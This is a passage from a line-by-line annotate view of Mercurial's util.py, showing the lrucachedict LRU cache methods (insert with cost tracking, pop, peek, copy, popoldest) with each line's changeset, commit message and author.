changeset
|
1452 |
def __iter__(self): |
45d996a566d7
util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27363
diff
changeset
|
1453 |
# We don't have to iterate in cache order, but why not. |
45d996a566d7
util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27363
diff
changeset
|
1454 |
n = self._head |
45d996a566d7
util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27363
diff
changeset
|
1455 |
for i in range(len(self._cache)): |
45d996a566d7
util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27363
diff
changeset
|
1456 |
yield n.key |
45d996a566d7
util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27363
diff
changeset
|
1457 |
n = n.next |
45d996a566d7
util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27363
diff
changeset
|
1458 |
|
45d996a566d7
util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27363
diff
changeset
|
1459 |
def __getitem__(self, k): |
45d996a566d7
util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27363
diff
changeset
|
1460 |
node = self._cache[k] |
45d996a566d7
util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27363
diff
changeset
|
1461 |
self._movetohead(node) |
45d996a566d7
util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27363
diff
changeset
|
1462 |
return node.value |
45d996a566d7
util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27363
diff
changeset
|
1463 |
|
39567
ee087f0d7db5
util: allow lrucachedict to track cost of entries
Gregory Szorc <gregory.szorc@gmail.com>
parents:
39566
diff
changeset
|
1464 |
def insert(self, k, v, cost=0): |
ee087f0d7db5
util: allow lrucachedict to track cost of entries
Gregory Szorc <gregory.szorc@gmail.com>
parents:
39566
diff
changeset
|
1465 |
"""Insert a new item in the cache with optional cost value.""" |
27371
45d996a566d7
util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27363
diff
changeset
|
1466 |
node = self._cache.get(k) |
45d996a566d7
util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27363
diff
changeset
|
1467 |
# Replace existing value and mark as newest. |
45d996a566d7
util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27363
diff
changeset
|
1468 |
if node is not None: |
39567
ee087f0d7db5
util: allow lrucachedict to track cost of entries
Gregory Szorc <gregory.szorc@gmail.com>
parents:
39566
diff
changeset
|
1469 |
self.totalcost -= node.cost |
27371
45d996a566d7
util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27363
diff
changeset
|
1470 |
node.value = v |
39567
ee087f0d7db5
util: allow lrucachedict to track cost of entries
Gregory Szorc <gregory.szorc@gmail.com>
parents:
39566
diff
changeset
|
1471 |
node.cost = cost |
ee087f0d7db5
util: allow lrucachedict to track cost of entries
Gregory Szorc <gregory.szorc@gmail.com>
parents:
39566
diff
changeset
|
1472 |
self.totalcost += cost |
27371
45d996a566d7
util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27363
diff
changeset
|
1473 |
self._movetohead(node) |
39568
842cd0bdda75
util: teach lrucachedict to enforce a max total cost
Gregory Szorc <gregory.szorc@gmail.com>
parents:
39567
diff
changeset
|
1474 |
|
842cd0bdda75
util: teach lrucachedict to enforce a max total cost
Gregory Szorc <gregory.szorc@gmail.com>
parents:
39567
diff
changeset
|
1475 |
if self.maxcost: |
842cd0bdda75
util: teach lrucachedict to enforce a max total cost
Gregory Szorc <gregory.szorc@gmail.com>
parents:
39567
diff
changeset
|
1476 |
self._enforcecostlimit() |
842cd0bdda75
util: teach lrucachedict to enforce a max total cost
Gregory Szorc <gregory.szorc@gmail.com>
parents:
39567
diff
changeset
|
1477 |
|
27371
45d996a566d7
util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27363
diff
changeset
|
1478 |
return |
45d996a566d7
util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27363
diff
changeset
|
1479 |
|
39564
5d75a3c16193
util: make capacity a public attribute on lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
39563
diff
changeset
|
1480 |
if self._size < self.capacity: |
27371
45d996a566d7
util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27363
diff
changeset
|
1481 |
node = self._addcapacity() |
45d996a566d7
util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27363
diff
changeset
|
1482 |
else: |
45d996a566d7
util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27363
diff
changeset
|
1483 |
# Grab the last/oldest item. |
45d996a566d7
util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27363
diff
changeset
|
1484 |
node = self._head.prev |
18603
2251b3184e6e
util: add an LRU cache dict
Siddharth Agarwal <sid0@fb.com>
parents:
18537
diff
changeset
|
1485 |
|
27371
45d996a566d7
util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27363
diff
changeset
|
1486 |
# At capacity. Kill the old entry. |
45d996a566d7
util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27363
diff
changeset
|
1487 |
if node.key is not _notset: |
39567
ee087f0d7db5
util: allow lrucachedict to track cost of entries
Gregory Szorc <gregory.szorc@gmail.com>
parents:
39566
diff
changeset
|
1488 |
self.totalcost -= node.cost |
27371
45d996a566d7
util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27363
diff
changeset
|
1489 |
del self._cache[node.key] |
45d996a566d7
util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27363
diff
changeset
|
1490 |
|
45d996a566d7
util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27363
diff
changeset
|
1491 |
node.key = k |
45d996a566d7
util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27363
diff
changeset
|
1492 |
node.value = v |
39567
ee087f0d7db5
util: allow lrucachedict to track cost of entries
Gregory Szorc <gregory.szorc@gmail.com>
parents:
39566
diff
changeset
|
1493 |
node.cost = cost |
ee087f0d7db5
util: allow lrucachedict to track cost of entries
Gregory Szorc <gregory.szorc@gmail.com>
parents:
39566
diff
changeset
|
1494 |
self.totalcost += cost |
27371
45d996a566d7
util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27363
diff
changeset
|
1495 |
self._cache[k] = node |
45d996a566d7
util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27363
diff
changeset
|
1496 |
# And mark it as newest entry. No need to adjust order since it |
45d996a566d7
util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27363
diff
changeset
|
1497 |
# is already self._head.prev. |
45d996a566d7
util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27363
diff
changeset
|
1498 |
self._head = node |
18603
2251b3184e6e
util: add an LRU cache dict
Siddharth Agarwal <sid0@fb.com>
parents:
18537
diff
changeset
|
1499 |
|
39568
842cd0bdda75
util: teach lrucachedict to enforce a max total cost
Gregory Szorc <gregory.szorc@gmail.com>
parents:
39567
diff
changeset
|
1500 |
if self.maxcost: |
842cd0bdda75
util: teach lrucachedict to enforce a max total cost
Gregory Szorc <gregory.szorc@gmail.com>
parents:
39567
diff
changeset
|
1501 |
self._enforcecostlimit() |
842cd0bdda75
util: teach lrucachedict to enforce a max total cost
Gregory Szorc <gregory.szorc@gmail.com>
parents:
39567
diff
changeset
|
1502 |
|
39567
ee087f0d7db5
util: allow lrucachedict to track cost of entries
Gregory Szorc <gregory.szorc@gmail.com>
parents:
39566
diff
changeset
|
1503 |
def __setitem__(self, k, v): |
ee087f0d7db5
util: allow lrucachedict to track cost of entries
Gregory Szorc <gregory.szorc@gmail.com>
parents:
39566
diff
changeset
|
1504 |
self.insert(k, v) |
ee087f0d7db5
util: allow lrucachedict to track cost of entries
Gregory Szorc <gregory.szorc@gmail.com>
parents:
39566
diff
changeset
|
1505 |
|
27371
45d996a566d7
util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27363
diff
changeset
|
1506 |
def __delitem__(self, k): |
40880
7cda0cacbbf6
util: implement pop() on lrucachedict
Yuya Nishihara <yuya@tcha.org>
parents:
40879
diff
changeset
|
1507 |
self.pop(k) |
7cda0cacbbf6
util: implement pop() on lrucachedict
Yuya Nishihara <yuya@tcha.org>
parents:
40879
diff
changeset
|
1508 |
|
7cda0cacbbf6
util: implement pop() on lrucachedict
Yuya Nishihara <yuya@tcha.org>
parents:
40879
diff
changeset
|
1509 |
def pop(self, k, default=_notset): |
7cda0cacbbf6
util: implement pop() on lrucachedict
Yuya Nishihara <yuya@tcha.org>
parents:
40879
diff
changeset
|
1510 |
try: |
7cda0cacbbf6
util: implement pop() on lrucachedict
Yuya Nishihara <yuya@tcha.org>
parents:
40879
diff
changeset
|
1511 |
node = self._cache.pop(k) |
7cda0cacbbf6
util: implement pop() on lrucachedict
Yuya Nishihara <yuya@tcha.org>
parents:
40879
diff
changeset
|
1512 |
except KeyError: |
7cda0cacbbf6
util: implement pop() on lrucachedict
Yuya Nishihara <yuya@tcha.org>
parents:
40879
diff
changeset
|
1513 |
if default is _notset: |
7cda0cacbbf6
util: implement pop() on lrucachedict
Yuya Nishihara <yuya@tcha.org>
parents:
40879
diff
changeset
|
1514 |
raise |
7cda0cacbbf6
util: implement pop() on lrucachedict
Yuya Nishihara <yuya@tcha.org>
parents:
40879
diff
changeset
|
1515 |
return default |
43881
b5655f337bd7
typing: add a couple of assertions to lrucachedict to help pytype
Matt Harbison <matt_harbison@yahoo.com>
parents:
43880
diff
changeset
|
1516 |
|
b5655f337bd7
typing: add a couple of assertions to lrucachedict to help pytype
Matt Harbison <matt_harbison@yahoo.com>
parents:
43880
diff
changeset
|
1517 |
assert node is not None # help pytype |
40880
7cda0cacbbf6
util: implement pop() on lrucachedict
Yuya Nishihara <yuya@tcha.org>
parents:
40879
diff
changeset
|
1518 |
value = node.value |
39567
ee087f0d7db5
util: allow lrucachedict to track cost of entries
Gregory Szorc <gregory.szorc@gmail.com>
parents:
39566
diff
changeset
|
1519 |
self.totalcost -= node.cost |
27371
45d996a566d7
util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27363
diff
changeset
|
1520 |
node.markempty() |
45d996a566d7
util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27363
diff
changeset
|
1521 |
|
45d996a566d7
util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27363
diff
changeset
|
1522 |
# Temporarily mark as newest item before re-adjusting head to make |
45d996a566d7
util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27363
diff
changeset
|
1523 |
# this node the oldest item. |
45d996a566d7
util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27363
diff
changeset
|
1524 |
self._movetohead(node) |
45d996a566d7
util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27363
diff
changeset
|
1525 |
self._head = node.next |
45d996a566d7
util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27363
diff
changeset
|
1526 |
|
40880
7cda0cacbbf6
util: implement pop() on lrucachedict
Yuya Nishihara <yuya@tcha.org>
parents:
40879
diff
changeset
|
1527 |
return value |
7cda0cacbbf6
util: implement pop() on lrucachedict
Yuya Nishihara <yuya@tcha.org>
parents:
40879
diff
changeset
|
1528 |
|
27371
45d996a566d7
util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27363
diff
changeset
|
1529 |
# Additional dict methods. |
45d996a566d7
util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27363
diff
changeset
|
1530 |
|
45d996a566d7
util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27363
diff
changeset
|
1531 |
def get(self, k, default=None): |
45d996a566d7
util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27363
diff
changeset
|
1532 |
try: |
39571
8f2c0d1b454c
util: update lrucachedict order during get()
Gregory Szorc <gregory.szorc@gmail.com>
parents:
39570
diff
changeset
|
1533 |
return self.__getitem__(k) |
27371
45d996a566d7
util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27363
diff
changeset
|
1534 |
except KeyError: |
45d996a566d7
util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27363
diff
changeset
|
1535 |
return default |
18603
2251b3184e6e
util: add an LRU cache dict
Siddharth Agarwal <sid0@fb.com>
parents:
18537
diff
changeset
|
1536 |
|
40879
0c638ff69f5c
util: add method to peek item in lrucachedict
Yuya Nishihara <yuya@tcha.org>
parents:
40689
diff
changeset
|
1537 |
def peek(self, k, default=_notset): |
0c638ff69f5c
util: add method to peek item in lrucachedict
Yuya Nishihara <yuya@tcha.org>
parents:
40689
diff
changeset
|
1538 |
"""Get the specified item without moving it to the head |
0c638ff69f5c
util: add method to peek item in lrucachedict
Yuya Nishihara <yuya@tcha.org>
parents:
40689
diff
changeset
|
1539 |
|
0c638ff69f5c
util: add method to peek item in lrucachedict
Yuya Nishihara <yuya@tcha.org>
parents:
40689
diff
changeset
|
1540 |
Unlike get(), this doesn't mutate the internal state. But be aware |
0c638ff69f5c
util: add method to peek item in lrucachedict
Yuya Nishihara <yuya@tcha.org>
parents:
40689
diff
changeset
|
1541 |
that it doesn't mean peek() is thread safe. |
0c638ff69f5c
util: add method to peek item in lrucachedict
Yuya Nishihara <yuya@tcha.org>
parents:
40689
diff
changeset
|
1542 |
""" |
0c638ff69f5c
util: add method to peek item in lrucachedict
Yuya Nishihara <yuya@tcha.org>
parents:
40689
diff
changeset
|
1543 |
try: |
0c638ff69f5c
util: add method to peek item in lrucachedict
Yuya Nishihara <yuya@tcha.org>
parents:
40689
diff
changeset
|
1544 |
node = self._cache[k] |
0c638ff69f5c
util: add method to peek item in lrucachedict
Yuya Nishihara <yuya@tcha.org>
parents:
40689
diff
changeset
|
1545 |
return node.value |
0c638ff69f5c
util: add method to peek item in lrucachedict
Yuya Nishihara <yuya@tcha.org>
parents:
40689
diff
changeset
|
1546 |
except KeyError: |
0c638ff69f5c
util: add method to peek item in lrucachedict
Yuya Nishihara <yuya@tcha.org>
parents:
40689
diff
changeset
|
1547 |
if default is _notset: |
0c638ff69f5c
util: add method to peek item in lrucachedict
Yuya Nishihara <yuya@tcha.org>
parents:
40689
diff
changeset
|
1548 |
raise |
0c638ff69f5c
util: add method to peek item in lrucachedict
Yuya Nishihara <yuya@tcha.org>
parents:
40689
diff
changeset
|
1549 |
return default |
0c638ff69f5c
util: add method to peek item in lrucachedict
Yuya Nishihara <yuya@tcha.org>
parents:
40689
diff
changeset
|
1550 |
|
19710
887ffa22fd0d
lrucachedict: implement clear()
Siddharth Agarwal <sid0@fb.com>
parents:
19461
diff
changeset
|
1551 |
def clear(self): |
27371
45d996a566d7
util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27363
diff
changeset
|
1552 |
n = self._head |
45d996a566d7
util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27363
diff
changeset
|
1553 |
while n.key is not _notset: |
39567
ee087f0d7db5
util: allow lrucachedict to track cost of entries
Gregory Szorc <gregory.szorc@gmail.com>
parents:
39566
diff
changeset
|
1554 |
self.totalcost -= n.cost |
27371
45d996a566d7
util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27363
diff
changeset
|
1555 |
n.markempty() |
45d996a566d7
util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27363
diff
changeset
|
1556 |
n = n.next |
45d996a566d7
util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27363
diff
changeset
|
1557 |
|
19710
887ffa22fd0d
lrucachedict: implement clear()
Siddharth Agarwal <sid0@fb.com>
parents:
19461
diff
changeset
|
1558 |
self._cache.clear() |
27371
45d996a566d7
util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27363
diff
changeset
|
1559 |
|
39568
842cd0bdda75
util: teach lrucachedict to enforce a max total cost
Gregory Szorc <gregory.szorc@gmail.com>
parents:
39567
diff
changeset
|
1560 |
def copy(self, capacity=None, maxcost=0): |
39565
2dcc68c7d25b
util: ability to change capacity when copying lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
39564
diff
changeset
|
1561 |
"""Create a new cache as a copy of the current one. |
2dcc68c7d25b
util: ability to change capacity when copying lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
39564
diff
changeset
|
1562 |
|
2dcc68c7d25b
util: ability to change capacity when copying lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
39564
diff
changeset
|
1563 |
By default, the new cache has the same capacity as the existing one. |
2dcc68c7d25b
util: ability to change capacity when copying lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
39564
diff
changeset
|
1564 |
But, the cache capacity can be changed as part of performing the |
2dcc68c7d25b
util: ability to change capacity when copying lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
39564
diff
changeset
|
1565 |
copy. |
2dcc68c7d25b
util: ability to change capacity when copying lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
39564
diff
changeset
|
1566 |
|
2dcc68c7d25b
util: ability to change capacity when copying lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
39564
diff
changeset
|
1567 |
Items in the copy have an insertion/access order matching this |
2dcc68c7d25b
util: ability to change capacity when copying lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
39564
diff
changeset
|
1568 |
instance. |
2dcc68c7d25b
util: ability to change capacity when copying lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
39564
diff
changeset
|
1569 |
""" |
2dcc68c7d25b
util: ability to change capacity when copying lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
39564
diff
changeset
|
1570 |
|
2dcc68c7d25b
util: ability to change capacity when copying lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
39564
diff
changeset
|
1571 |
capacity = capacity or self.capacity |
39568
842cd0bdda75
util: teach lrucachedict to enforce a max total cost
Gregory Szorc <gregory.szorc@gmail.com>
parents:
39567
diff
changeset
|
1572 |
maxcost = maxcost or self.maxcost |
842cd0bdda75
util: teach lrucachedict to enforce a max total cost
Gregory Szorc <gregory.szorc@gmail.com>
parents:
39567
diff
changeset
|
1573 |
result = lrucachedict(capacity, maxcost=maxcost) |
39563
b31b01f93b11
util: properly copy lrucachedict instances
Gregory Szorc <gregory.szorc@gmail.com>
parents:
39259
diff
changeset
|
1574 |
|
b31b01f93b11
util: properly copy lrucachedict instances
Gregory Szorc <gregory.szorc@gmail.com>
parents:
39259
diff
changeset
|
1575 |
# We copy entries by iterating in oldest-to-newest order so the copy |
b31b01f93b11
util: properly copy lrucachedict instances
Gregory Szorc <gregory.szorc@gmail.com>
parents:
39259
diff
changeset
|
1576 |
# has the correct ordering. |
b31b01f93b11
util: properly copy lrucachedict instances
Gregory Szorc <gregory.szorc@gmail.com>
parents:
39259
diff
changeset
|
1577 |
|
b31b01f93b11
util: properly copy lrucachedict instances
Gregory Szorc <gregory.szorc@gmail.com>
parents:
39259
diff
changeset
|
1578 |
# Find the first non-empty entry. |
27576
6cd3044985c2
lrucachedict: add copy method
Eric Sumner <ericsumner@fb.com>
parents:
27391
diff
changeset
|
1579 |
n = self._head.prev |
39563
b31b01f93b11
util: properly copy lrucachedict instances
Gregory Szorc <gregory.szorc@gmail.com>
parents:
39259
diff
changeset
|
1580 |
while n.key is _notset and n is not self._head: |
b31b01f93b11
util: properly copy lrucachedict instances
Gregory Szorc <gregory.szorc@gmail.com>
parents:
39259
diff
changeset
|
1581 |
n = n.prev |
b31b01f93b11
util: properly copy lrucachedict instances
Gregory Szorc <gregory.szorc@gmail.com>
parents:
39259
diff
changeset
|
1582 |
|
39565
2dcc68c7d25b
util: ability to change capacity when copying lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
39564
diff
changeset
|
1583 |
# We could potentially skip the first N items when decreasing capacity. |
2dcc68c7d25b
util: ability to change capacity when copying lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
39564
diff
changeset
|
1584 |
# But let's keep it simple unless it is a performance problem. |
27576
6cd3044985c2
lrucachedict: add copy method
Eric Sumner <ericsumner@fb.com>
parents:
27391
diff
changeset
|
1585 |
for i in range(len(self._cache)): |
39567
ee087f0d7db5
util: allow lrucachedict to track cost of entries
Gregory Szorc <gregory.szorc@gmail.com>
parents:
39566
diff
changeset
|
1586 |
result.insert(n.key, n.value, cost=n.cost) |
27576
6cd3044985c2
lrucachedict: add copy method
Eric Sumner <ericsumner@fb.com>
parents:
27391
diff
changeset
|
1587 |
n = n.prev |
39563
b31b01f93b11
util: properly copy lrucachedict instances
Gregory Szorc <gregory.szorc@gmail.com>
parents:
39259
diff
changeset
|
1588 |
|
27576
6cd3044985c2
lrucachedict: add copy method
Eric Sumner <ericsumner@fb.com>
parents:
27391
diff
changeset
|
1589 |
return result |
6cd3044985c2
lrucachedict: add copy method
Eric Sumner <ericsumner@fb.com>
parents:
27391
diff
changeset
|
1590 |
|
39566
bd9d3a89f07b
util: add a popoldest() method to lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
39565
diff
changeset
|
1591 |
def popoldest(self): |
bd9d3a89f07b
util: add a popoldest() method to lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
39565
diff
changeset
|
1592 |
"""Remove the oldest item from the cache. |
bd9d3a89f07b
util: add a popoldest() method to lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
39565
diff
changeset
|
1593 |
|
bd9d3a89f07b
util: add a popoldest() method to lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
39565
diff
changeset
|
1594 |
Returns the (key, value) describing the removed cache entry. |
bd9d3a89f07b
util: add a popoldest() method to lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
39565
diff
changeset
|
1595 |
""" |
bd9d3a89f07b
util: add a popoldest() method to lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
39565
diff
changeset
|
1596 |
if not self._cache: |
bd9d3a89f07b
util: add a popoldest() method to lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
39565
diff
changeset
|
1597 |
return |
bd9d3a89f07b
util: add a popoldest() method to lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
39565
diff
changeset
|
1598 |
|
bd9d3a89f07b
util: add a popoldest() method to lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
39565
diff
changeset
|
1599 |
# Walk the linked list backwards starting at tail node until we hit |
bd9d3a89f07b
util: add a popoldest() method to lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
39565
diff
changeset
|
1600 |
# a non-empty node. |
bd9d3a89f07b
util: add a popoldest() method to lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
39565
diff
changeset
|
1601 |
n = self._head.prev |
bd9d3a89f07b
util: add a popoldest() method to lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
39565
diff
changeset
|
1602 |
while n.key is _notset: |
bd9d3a89f07b
util: add a popoldest() method to lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
39565
diff
changeset
|
1603 |
n = n.prev |
bd9d3a89f07b
util: add a popoldest() method to lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
39565
diff
changeset
|
1604 |
|
43881
b5655f337bd7
typing: add a couple of assertions to lrucachedict to help pytype
Matt Harbison <matt_harbison@yahoo.com>
parents:
43880
diff
changeset
|
1605 |
assert n is not None # help pytype |
b5655f337bd7
typing: add a couple of assertions to lrucachedict to help pytype
Matt Harbison <matt_harbison@yahoo.com>
parents:
43880
diff
changeset
|
1606 |
|
39566
bd9d3a89f07b
util: add a popoldest() method to lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
39565
diff
changeset
|
1607 |
key, value = n.key, n.value |
bd9d3a89f07b
util: add a popoldest() method to lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
39565
diff
changeset
|
1608 |
|
bd9d3a89f07b
util: add a popoldest() method to lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
39565
diff
changeset
|
1609 |
# And remove it from the cache and mark it as empty. |
bd9d3a89f07b
util: add a popoldest() method to lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
39565
diff
changeset
|
1610 |
del self._cache[n.key] |
39567
ee087f0d7db5
util: allow lrucachedict to track cost of entries
Gregory Szorc <gregory.szorc@gmail.com>
parents:
39566
diff
changeset
|
1611 |
self.totalcost -= n.cost |
39566
bd9d3a89f07b
util: add a popoldest() method to lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
39565
diff
changeset
|
1612 |
n.markempty() |
bd9d3a89f07b
util: add a popoldest() method to lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
39565
diff
changeset
|
1613 |
|
bd9d3a89f07b
util: add a popoldest() method to lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
39565
diff
changeset
|
1614 |
return key, value |
bd9d3a89f07b
util: add a popoldest() method to lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
39565
diff
changeset
|
1615 |
|
27371
45d996a566d7
util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27363
diff
changeset
|
1616 |
def _movetohead(self, node): |
45d996a566d7
util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27363
diff
changeset
|
1617 |
"""Mark a node as the newest, making it the new head. |
45d996a566d7
util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27363
diff
changeset
|
1618 |
|
45d996a566d7
util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27363
diff
changeset
|
1619 |
When a node is accessed, it becomes the freshest entry in the LRU |
45d996a566d7
util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27363
diff
changeset
|
1620 |
list, which is denoted by self._head. |
45d996a566d7
util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27363
diff
changeset
|
1621 |
|
45d996a566d7
util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27363
diff
changeset
|
1622 |
Visually, let's make ``N`` the new head node (* denotes head): |
45d996a566d7
util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27363
diff
changeset
|
1623 |
|
45d996a566d7
util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27363
diff
changeset
|
1624 |
previous/oldest <-> head <-> next/next newest |
45d996a566d7
util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27363
diff
changeset
|
1625 |
|
45d996a566d7
util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27363
diff
changeset
|
1626 |
----<->--- A* ---<->----- |
45d996a566d7
util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27363
diff
changeset
|
1627 |
| | |
45d996a566d7
util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27363
diff
changeset
|
1628 |
E <-> D <-> N <-> C <-> B |
45d996a566d7
util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27363
diff
changeset
|
1629 |
|
45d996a566d7
util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27363
diff
changeset
|
1630 |
To: |
45d996a566d7
util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27363
diff
changeset
|
1631 |
|
45d996a566d7
util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27363
diff
changeset
|
1632 |
----<->--- N* ---<->----- |
45d996a566d7
util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27363
diff
changeset
|
1633 |
| | |
45d996a566d7
util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27363
diff
changeset
|
1634 |
E <-> D <-> C <-> B <-> A |
45d996a566d7
util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27363
diff
changeset
|
1635 |
|
45d996a566d7
util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27363
diff
changeset
|
1636 |
This requires the following moves: |
45d996a566d7
util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27363
diff
changeset
|
1637 |
|
45d996a566d7
util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27363
diff
changeset
|
1638 |
C.next = D (node.prev.next = node.next) |
45d996a566d7
util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27363
diff
changeset
|
1639 |
D.prev = C (node.next.prev = node.prev) |
45d996a566d7
util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27363
diff
changeset
|
1640 |
